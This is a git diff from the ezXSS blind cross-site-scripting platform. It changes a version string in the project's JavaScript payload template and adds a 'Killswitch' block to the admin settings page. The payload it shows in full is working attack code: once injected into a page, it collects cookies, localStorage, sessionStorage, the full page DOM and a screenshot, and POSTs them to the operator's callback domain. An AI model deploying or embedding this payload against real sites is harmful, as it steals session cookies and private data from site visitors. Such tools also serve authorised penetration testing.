diff --git a/templates/payload.js b/templates/payload.js index 06fecd42..fae62ed0 100644 --- a/templates/payload.js +++ b/templates/payload.js @@ -1,5 +1,5 @@ // github.com/ssl/ezXSS -// ezXSS 3.2 +// ezXSS {{version}} function ez_n(e){return void 0!==e?e:""}function ez_cb(e){var t=new XMLHttpRequest;t.open("POST","https://{{domain}}/callback",!0),t.setRequestHeader("Content-type","text/plain"),t.onreadystatechange=function(){4==t.readyState&&t.status},t.send(JSON.stringify(e))}function ez_hL(){try{ez_rD.uri=ez_n(location.toString())}catch(e){ez_rD.uri=""}try{ez_rD.cookies=ez_n(document.cookie)}catch(e){ez_rD.cookies=""}try{ez_rD.referrer=ez_n(document.referrer)}catch(e){ez_rD.referrer=""}try{ez_rD["user-agent"]=ez_n(navigator.userAgent)}catch(e){ez_rD["user-agent"]=""}try{ez_rD.origin=ez_n(location.origin)}catch(e){ez_rD.origin=""}try{ez_rD.localstorage=window.localStorage;}catch(e){ez_rD.localstorage="";}try{ez_rD.sessionstorage=window.sessionStorage;}catch(e){ez_rD.sessionstorage="";}try{ez_rD.dom=ez_n(document.documentElement.outerHTML)}catch(e){ez_rD.dom=""}try{html2canvas(document.body).then(function(e){ez_rD.screenshot=ez_n(e.toDataURL()),ez_c();});}catch(e){ez_rD.screenshot="",ez_c()}function ez_c(){ez_r(),ez_cb(ez_rD)}}function ez_aE(e,t,n){e.addEventListener?e.addEventListener(t,n,!1):e.attachEvent&&e.attachEvent("on"+t,n)}ez_rD={},"complete"==document.readyState?ez_hL():ez_aE(window,"load",function(){ez_hL()}); diff --git a/templates/report.html b/templates/report.html index 56548965..3c9e431e 100644 --- a/templates/report.html +++ b/templates/report.html @@ -50,4 +50,4 @@

View report

-
+
\ No newline at end of file diff --git a/templates/settings.html b/templates/settings.html index d80e3217..82f7265c 100644 --- a/templates/settings.html +++ b/templates/settings.html @@ -129,6 +129,23 @@

Settings

+
+
+
Killswitch
+
+

Turn's off the ezXSS platform. Can be re-activated by visiting https://{{setting[payload-domain]}}/?pass=

+
+
+ {{csrf[]}} + + +
+ +
+
+
+
+